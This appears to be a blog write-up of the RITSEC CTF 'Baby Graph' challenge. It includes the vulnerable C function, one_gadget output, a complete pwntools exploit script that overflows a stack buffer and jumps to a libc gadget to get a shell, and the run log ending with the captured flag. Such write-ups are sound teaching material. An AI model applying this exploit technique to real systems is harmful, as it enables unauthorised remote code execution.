Abraxus's Blog

RITSEC Baby Graph Write Up

Details:

Jeopardy style CTF

Category: Binary Exploitation

Comments:

This is what happens to your baby when you want a pwner and a graph theorist. Do your part!!!

nc challenges1.ritsec.club 1339

Write up:

Looking at the C source we can see that we need to answer some graph theory questions and then we get to the vulnerability:

void vuln() {
    char buf[100];

    printf("Here is your prize: %p\n", system);
    fgets(buf, 400, stdin);
}

This function prints out the address of system and then reads in data resulting in a buffer overflow.

At this point my teammate made a quick script to do the graph theory problems which then let me check if we could get a segfault.

This challenge provided a libc so I did not need to leak libc. I then used one_gadget to find potential jumps:

one_gadget libc.so.6  

0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

Using gdb I found that 0xe6c81 was the call I wanted and that I would need 120 NOPs. I then created the following script:

# import pwntools
from pwn import *

# open connection
conn = remote('challenges1.ritsec.club', 1339)

# open libc
libc = ELF('./libc.so.6')

# get system call offset
sysCall = libc.symbols['system']

# do graph theory stuff
from collections import defaultdict
   
class Graph:
    def __init__(self,vertices):
        self.V= vertices #No. of vertices
        self.graph = defaultdict(list) # default dictionary to store graph
    def addEdge(self,u,v):
        self.graph[u].append(v)
        self.graph[v].append(u)
    def DFSUtil(self,v,visited):
        visited[v]= True
        for i in self.graph[v]:
            if visited[i]==False:
                self.DFSUtil(i,visited)
    def isConnected(self):
        visited =[False]*(self.V)
        for i in range(self.V):
            if len(self.graph[i]) > 1:
                break
        if i == self.V-1:
            return True
        self.DFSUtil(i,visited)
        for i in range(self.V):
            if visited[i]==False and len(self.graph[i]) > 0:
                return False
        return True
    def isEulerian(self):
        if self.isConnected() == False:
            return 0
        else:
            odd = 0
            for i in range(self.V):
                if len(self.graph[i]) % 2 !=0:
                    odd +=1
            return odd==0
  
def i():
    s = conn.recvline().strip().decode()
    print(s)
    return s
for _ in range(5):
    i()
    l=i().split(' ')
    v =int(l[2])
    e=int(l[6])
    g = Graph(v)
    for _ in range(e):
        a,b = i().split()
        g.addEdge(int(a),int(b))
    i()
    print(g.isEulerian())
    if g.isEulerian():
        conn.send('Y\n')
    else:
        conn.send('N\n')

# get the system address
addy = conn.readline()
addy = (int(str(addy)[22:-3], 16))

# make the nops
nops = b'\x90'* 120

# send the payload
conn.sendline(nops + p64(addy - sysCall + 0xe6c81))

# open interactive mode
conn.interactive()

When run I got the following:

[+] Opening connection to challenges1.ritsec.club on port 1339: Done
[*] '/home/kali/Downloads/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Here is your baby graph
V = 9 - E = 11
0 2
0 8
2 3
2 4
2 5
2 6
3 6
4 8
6 7
6 8
7 8
Now tell me if this baby is Eulerian? (Y/N)
False
Here is your baby graph
V = 2 - E = 0
Now tell me if this baby is Eulerian? (Y/N)
True
Here is your baby graph
V = 9 - E = 35
0 1
0 2
0 3
0 4
0 5
0 6
0 7
0 8
1 2
1 3
1 4
1 5
1 6
1 7
1 8
2 3
2 4
2 5
2 6
2 7
2 8
3 4
3 5
3 6
3 7
3 8
4 5
4 6
4 7
4 8
5 6
5 7
5 8
6 8
7 8
Now tell me if this baby is Eulerian? (Y/N)
False
Here is your baby graph
V = 6 - E = 0
Now tell me if this baby is Eulerian? (Y/N)
True
Here is your baby graph
V = 5 - E = 0
Now tell me if this baby is Eulerian? (Y/N)
True
[*] Switching to interactive mode
$ cat flag.txt
RS{B4by_gr4ph_du_DU_dU_Du_B4by_graph_DU_DU_DU_DU_Baby_gr4ph}